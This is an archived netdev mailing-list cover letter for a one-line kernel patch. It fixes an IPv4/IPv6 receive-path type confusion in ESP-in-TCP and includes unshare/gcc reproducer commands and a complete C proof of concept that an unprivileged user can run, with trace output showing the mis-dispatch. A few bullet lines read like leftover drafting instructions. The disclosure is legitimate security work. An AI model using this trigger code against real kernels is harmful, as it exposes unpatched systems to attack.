Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] xfrm: espintcp: fix IPv4/IPv6 receive path confusion
@ 2026-11-16 15:52 Zihan Xi
  2026-11-16 15:52 ` [PATCH net 1/1] xfrm: espintcp: select receive path by skb protocol Zihan Xi
  2026-11-25 10:53 ` [PATCH net 0/1] xfrm: espintcp: fix IPv4/IPv6 receive path confusion Sabrina Dubroca
  0 siblings, 2 replies; 3+ messages in thread
From: Zihan Xi @ 2026-11-16 15:52 UTC (permalink / raw)
  To: netdev, ipsec
  Cc: steffen.klassert, herbert, davem, edumazet, pabeni, horms, sd,
	vega, zihanx

Hi Linux kernel maintainers,

We found an issue in net/xfrm/espintcp.c. An IPv6 dual-stack socket can accept
an IPv4 connection as a v4-mapped peer. The accepted socket remains AF_INET6,
but the received skb is IPv4. ESP-in-TCP selected the XFRM receive path from
the socket family and passed the IPv4 skb to xfrm6_rcv_encap(), where IPv4
header bytes were interpreted as an IPv6 header.

This patch selects the receive path from skb->protocol, matching the packet
family and preventing the type-confused IPv6 processing.

An LLM was used to help create this patch.

This bug is tracked at:
https://bugtracker.nebusec.ai/f/5016 (5016)

Bug details:

The vulnerable path is reachable by an unprivileged user using an AF_INET6
listener with IPV6_V6ONLY disabled, an IPv4 connection, and TCP_ULP=espintcp.
The historical supplied QEMU run observed xfrm6_rcv_encap() on the IPv4-backed
skb and an XfrmInNoStates increment; it did not produce a crash. The selected
origin/main baseline still contains the family-based dispatch. The fix is a
one-line protocol-based dispatch change.

Reproducer details:

- Use the static-build and unprivileged user/network-namespace commands in the
  reproducer instructions.
- Explain why a custom socket PoC is used instead of packetdrill.
- Include the observed normal output and tracing evidence, and explain why no
  crash-log exists.

Reproducer:

Build and run as an ordinary user in the guest:

    gcc -static -O2 -pthread poc.c -o poc
    unshare -Urn sh -c 'ip link set lo up; exec ./poc'

The custom C PoC is used because the trigger depends on AF_INET6 dual-stack
socket creation, v4-mapped accept state, and TCP_ULP=espintcp. Packetdrill
does not naturally express this socket API and ULP state combination.

Historical QEMU run output:

    accepted socket domain=10
    peer=::ffff:127.0.0.1 port=41512
    recv=0 errno=0

The historical tracing additionally showed:

    xfrm6_rcv_encap <-espintcp_rcv

and XfrmInNoStates increased by one (before=1004 after=1005 delta=1). The run
followed the no-state/error path without a KASAN report, oops, or crash-log,
so no crash-log is attached.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN PoC------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

static int port = 31338;
static volatile int ready;

static void die(const char *msg)
{
	perror(msg);
	exit(1);
}

static void *server_thread(void *arg)
{
	int ls = socket(AF_INET6, SOCK_STREAM, 0);
	int zero = 0, one = 1;
	struct sockaddr_in6 addr = {0};
	struct sockaddr_storage peer;
	struct sockaddr_in6 peer6 = {0};
	socklen_t peerlen = sizeof(peer);
	socklen_t peer6len = sizeof(peer6);
	char ulp[] = "espintcp";
	char addrbuf[INET6_ADDRSTRLEN];
	char rx[128];
	int as;
	int fam;
	socklen_t flen = sizeof(fam);
	ssize_t n;

	(void)arg;

	if (ls < 0)
		die("socket(AF_INET6)");
	if (setsockopt(ls, IPPROTO_IPV6, IPV6_V6ONLY, &zero, sizeof(zero)) < 0)
		die("setsockopt(IPV6_V6ONLY=0)");
	if (setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
		die("setsockopt(SO_REUSEADDR)");

	addr.sin6_family = AF_INET6;
	addr.sin6_port = htons(port);
	addr.sin6_addr = in6addr_any;
	if (bind(ls, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind");
	if (listen(ls, 1) < 0)
		die("listen");

	__atomic_store_n(&ready, 1, __ATOMIC_SEQ_CST);

	as = accept(ls, (struct sockaddr *)&peer, &peerlen);
	if (as < 0)
		die("accept");

	if (getsockopt(as, SOL_SOCKET, SO_DOMAIN, &fam, &flen) < 0)
		die("getsockopt(SO_DOMAIN)");
	fprintf(stderr, "accepted socket domain=%d\n", fam);

	if (getpeername(as, (struct sockaddr *)&peer6, &peer6len) < 0)
		die("getpeername");
	if (!inet_ntop(AF_INET6, &peer6.sin6_addr, addrbuf, sizeof(addrbuf)))
		die("inet_ntop");
	fprintf(stderr, "peer=%s port=%u\n", addrbuf, ntohs(peer6.sin6_port));

	if (setsockopt(as, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0)
		die("setsockopt(TCP_ULP=espintcp)");

	n = recv(as, rx, sizeof(rx), 0);
	fprintf(stderr, "recv=%zd errno=%d\n", n, errno);

	close(as);
	close(ls);
	return NULL;
}

int main(void)
{
	pthread_t th;
	int cs;
	struct sockaddr_in a = {0};
	unsigned char msg[10] = {
		0x00, 0x0a,
		0x12, 0x34, 0x56, 0x78,
		0xaa, 0xbb, 0xcc, 0xdd,
	};

	if (pthread_create(&th, NULL, server_thread, NULL) != 0)
		die("pthread_create");

	while (!__atomic_load_n(&ready, __ATOMIC_SEQ_CST))
		sched_yield();

	cs = socket(AF_INET, SOCK_STREAM, 0);
	if (cs < 0)
		die("socket(AF_INET)");

	a.sin_family = AF_INET;
	a.sin_port = htons(port);
	if (inet_pton(AF_INET, "127.0.0.1", &a.sin_addr) != 1)
		die("inet_pton");
	if (connect(cs, (struct sockaddr *)&a, sizeof(a)) < 0)
		die("connect");

	if (send(cs, msg, sizeof(msg), 0) < 0)
		die("send");

	close(cs);
	pthread_join(th, NULL);
	return 0;
}

------END PoC--------

Best regards,
Zihan Xi

Zihan Xi (1):
  xfrm: espintcp: select receive path by skb protocol

 net/xfrm/espintcp.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-11-25 10:53 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-11-16 15:52 [PATCH net 0/1] xfrm: espintcp: fix IPv4/IPv6 receive path confusion Zihan Xi
2026-11-16 15:52 ` [PATCH net 1/1] xfrm: espintcp: select receive path by skb protocol Zihan Xi
2026-11-25 10:53 ` [PATCH net 0/1] xfrm: espintcp: fix IPv4/IPv6 receive path confusion Sabrina Dubroca

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox